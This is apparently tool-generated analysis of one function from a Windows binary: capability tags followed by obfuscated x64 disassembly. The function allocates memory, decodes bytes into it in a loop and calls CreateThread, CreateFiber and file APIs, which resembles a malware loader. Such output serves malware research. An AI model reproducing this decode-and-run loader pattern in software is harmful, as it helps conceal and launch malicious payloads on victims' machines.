Function at 0x1400040e0
Capabilities:
Create thread
Encode data using xor
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x60
mov esi, dword [rsp + 0xd0]
lea r12d, [rdx - 0x348]
mov ecx, dword [rsp + 0xc8]
mov ebp, dword [rsp + 0xc0]
mov r14d, dword [rsp + 0xb0]
xor ebp, 0x58
lea eax, [rsi - 0x38e3]
add r14d, 0xfffffe91
mov dword [rsp + 0xd0], eax
lea ebx, [rsi + 0x98]
mov eax, r12d
mov dword [rsp + 0xc0], ebx
xor eax, 0x3c5
lea r8d, [rcx + 0x98]
xor esi, 0x38e3
mov dword [rsp + 0xc8], r8d
lea r15d, [rcx - 0x38e3]
lea r13d, [rcx - 0x5fd]
cmp r14d, eax
jg 0x1400044da
lea eax, [r14 + 0x2ed]
cmp r15d, eax
jg 0x140004309
mov rbx, qword [rsp + 0xb8]
xor r14d, 0x1b76
cmp ebp, r14d
je 0x1400041f8
lea eax, [r13 + 0x34d]
cmp r12d, eax
jl 0x1400041f8
add dword [rbx + 0x60], 0x21bba
xor ecx, ecx
mov r9d, dword [rbx + 0x20]
mov r8d, 0x3000
mov edx, dword [rbx + 0x60]
sub r9d, 0xf4459
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbx + 0xe8], rax
mov ecx, dword [rbx + 0x144]
xor ecx, 0x338
mov qword [rbx + 0xe0], rax
sub ecx, 0x338
mov dword [rbx + 0x88], ecx
add r15d, 0x3ac3
mov dword [rbx + 0x74], 0xdebb2a7f
mov eax, 0xdec7e706
sub eax, dword [rbx + 0x154]
mov dword [rbx + 0x74], eax
xor r8d, r8d
lea rax, [0x140015f10]
mov qword [rbx + 0xc0], rax
mov ecx, dword [rbx + 0x144]
mov edx, dword [rbx + 0xc8]
nop word [rax + rax]
lea eax, [rcx - 0xde37]
add eax, edx
mov dword [rbx + 0x144], eax
mov eax, dword [rbx + 0x10]
movzx ecx, byte [rbx + 0x74]
xor eax, 0xad614e
or dword [rbx + 0x5c], eax
mov rax, qword [rbx + 0xc0]
movzx edx, byte [r8 + rax]
add r8, 4
mov rax, qword [rbx + 0xe0]
imul edx, ecx
movsxd rcx, dword [rbx + 0x88]
mov byte [rcx + rax], dl
inc dword [rbx + 0x88]
mov eax, dword [rbx + 0x34]
sub eax, dword [rbx + 0x94]
add dword [rbx + 0xd8], eax
mov eax, dword [rbx + 0x128]
xor eax, dword [rbx + 0x34]
dec eax
or dword [rbx + 4], eax
mov eax, dword [rbx + 0x5c]
sub eax, dword [rbx + 0x110]
sub eax, 0xaab83
add dword [rbx + 0xb0], eax
mov eax, dword [rbx + 0x90]
mov edx, dword [rbx + 0xc8]
sub eax, 0xae8ed
or dword [rbx + 0xb4], eax
mov eax, dword [rbx + 0x130]
mov ecx, dword [rbx + 0x144]
sub eax, 0x105a01
or dword [rbx + 0xfc], eax
mov eax, dword [rbx + 0x48]
xor eax, dword [rbx + 0x58]
sub eax, 0x13334a
mov dword [rbx + 0x34], ecx
xor dword [rbx + 0xb4], eax
mov eax, edx
sub eax, dword [rbx + 0x58]
xor eax, 0xde36
sub dword [rbx + 0x20], eax
cmp r8, 0x32610
jl 0x140004230
jmp 0x140004717
mov rdi, qword [rsp + 0xb8]
mov ecx, dword [rdi + 0x68]
mov eax, ecx
sub eax, r8d
cmp ebp, eax
je 0x1400043bc
mov eax, dword [rdi + 0x168]
mov edx, r13d
or eax, r14d
xor eax, r12d
sub ecx, eax
mov dword [rdi + 0x68], ecx
mov ecx, dword [rdi + 0x150]
sub ecx, dword [rdi + 0xd0]
mov eax, dword [rdi + 0x5c]
sub ecx, 0x33df
mov r8d, dword [rdi + 4]
add r8d, dword [rdi]
imul eax, ecx
mov ecx, dword [rsp + 0xc8]
add ecx, 0x3580
mov dword [rdi + 0x5c], eax
lea eax, [rsi - 0x19c]
mov r10d, dword [rdi + 0xb4]
imul r10d, dword [rdi + 0x168]
mov ebx, dword [rdi + 0xd0]
mov r9d, dword [rdi + 0xb8]
and ebx, 0x32e6
or ebx, dword [rdi + 0x48]
add r9d, esi
sub edx, dword [rdi + 0x44]
movsxd r11, eax
add edx, r15d
mov eax, dword [rdi + 0x120]
mov qword [rsp + 0x30], r11
or rcx, rax
imul r10d, ebp
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r10d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov ecx, r12d
and ecx, r15d
add ecx, dword [rdi + 0x150]
call qword [sym.imp.KERNEL32.dll_CreateActCtxA]
mov eax, dword [rdi + 0x110]
lea r9d, [r13 + 0xabd]
mov edx, dword [rdi + 0x10c]
and ebp, 0x397b
mov ebx, dword [rdi + 0x98]
and r9d, 0x3243
mov r8d, dword [rdi + 0x78]
and ebx, esi
imul eax, ebp
or esi, 0x330b
imul ebx, esi
xor r8d, r12d
mov esi, dword [rsp + 0xd0]
imul esi, dword [rsp + 0xc0]
imul r8d, dword [rdi + 0x34]
mov dword [rdi + 0x110], eax
mov ecx, dword [rdi + 0x128]
mov r10d, ecx
mov eax, dword [rdi + 0x5c]
add edx, ecx
mov ecx, dword [rdi + 0xfc]
xor rdx, rax
sub ecx, dword [rdi + 0x78]
imul r10d, r14d
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x50], 0x108
mov edx, 0x2abe
mov qword [rsp + 0x48], 0x17e7
mov ecx, 0x2420
mov qword [rsp + 0x40], 0x15f0
mov r9d, 0x186a
mov qword [rsp + 0x38], 0x12a9
mov r8d, 0x24a2
mov qword [rsp + 0x30], 0x2653
mov qword [rsp + 0x28], 0xb90
mov qword [rsp + 0x20], 0x3288
call fcn.1400034a0
movsxd rcx, eax
mov qword [0x140067e98], rcx
mov eax, dword [rdi + 4]
add eax, ebx
or eax, dword [rdi + 0x114]
xor dword [rdi + 0x20], eax
mov eax, dword [rdi + 0xd8]
xor eax, ebx
xor eax, 0x38bb
sub dword [rdi + 0x130], eax
jmp 0x140004717
mov rdi, qword [rsp + 0xb8]
mov eax, dword [rdi + 0x114]
or eax, dword [rdi + 0xfc]
xor dword [rdi + 0x10c], eax
lea eax, [rsi + r14]
mov ecx, dword [rdi + 0x90]
sub esi, r12d
movsxd rdx, esi
sub ecx, r14d
movsxd r8, eax
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov ecx, dword [rdi + 0x94]
mov edx, r15d
sub ecx, dword [rdi + 0x8c]
xor edx, ebx
mov eax, dword [rdi + 0x44]
add ecx, ebp
mov esi, dword [rsp + 0xc8]
add eax, 0x3243
imul r9d, eax, 0x38e3
mov eax, dword [rdi + 0xf0]
imul eax, dword [rdi + 0xb0]
lea r8d, [rbx + rsi]
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], ecx
mov rcx, rdi
call fcn.1400031f0
mov ecx, dword [rdi + 0x11c]
mov ebx, eax
sub ecx, dword [rdi + 0x5c]
add dword [rdi + 4], ecx
mov r9d, dword [rdi + 0x128]
mov r8d, dword [rdi + 0x168]
mov r11d, dword [rdi + 0x48]
mov edx, dword [rdi + 0x110]
and r11d, r9d
or r9d, dword [rdi + 0x90]
and rdx, r12
imul r8d, dword [rdi + 0xd0]
or r9d, 0x3765
imul ecx, r14d, 0x33df
and edx, 0x38e3
movsxd r10, ecx
mov ecx, dword [rdi]
imul ecx, r14d
mov qword [rsp + 0x28], r10
mov dword [rsp + 0x20], r11d
add ecx, 0x3ac7
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ecx, dword [rdi + 4]
lea r9d, [rbx - 0xa80]
mov r10d, dword [rdi + 0x10]
add ecx, 0x3ac3
mov r8d, dword [rdi + 0x140]
sub r10d, 0x38e3
mov edx, dword [rdi + 0x5c]
and r9d, 0x397b
add edx, dword [rdi + 0x90]
xor r8d, r15d
mov eax, r12d
xor rcx, rax
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [rdi + 0x38]
mov eax, ebx
imul eax, dword [rsp + 0xc0]
mov ecx, r15d
or edx, r13d
or ecx, ebp
or edx, ebp
or ecx, 0x3243
movsxd r8, eax
xor r8, 0x35f6
call qword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov eax, dword [rdi + 0xc]
mov ecx, dword [rdi + 0x68]
and ecx, 0x3543
imul eax, ecx
mov ecx, r13d
xor ecx, 0x3580
mov dword [rdi + 0xc], eax
imul ecx, dword [rdi]
and ebx, 0x3633
mov eax, dword [rdi + 0x120]
mov edx, dword [rsp + 0xc0]
imul eax, ecx
mov dword [rdi + 0x120], eax
lea eax, [rsi + r13]
and eax, dword [rdi]
or esi, 0x397b
add dword [rdi + 0x130], eax
mov eax, dword [rdi + 0x128]
mov r10d, dword [rdi + 0x138]
and eax, r12d
imul eax, dword [rdi]
or r10d, dword [rdi + 0x44]
mov r9d, dword [rdi + 0x11c]
mov ecx, dword [rdi + 0x10]
and r9d, ebp
sub r9d, dword [rdi + 0x68]
sub ecx, 0x3580
xor ecx, dword [rdi + 0x150]
sub r14d, eax
mov eax, edx
imul r11d, esi, 0x3864
and eax, 0x33df
sub eax, r13d
or dword [rdi + 0xfc], eax
mov r8d, dword [rdi + 0x128]
xor r10d, dword [rdi + 0x5c]
add r8d, r13d
mov eax, dword [rdi + 0x9c]
add r8d, r14d
add eax, dword [rdi + 0x14]
mov dword [rsp + 0x40], r11d
sub eax, edx
mov dword [rsp + 0x38], r10d
xor edx, 0x32e6
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], r8d
mov r8d, ebx
mov dword [rsp + 0x20], eax
call fcn.140004c10
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x30]
lea eax, [r15 - 0x9bc]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret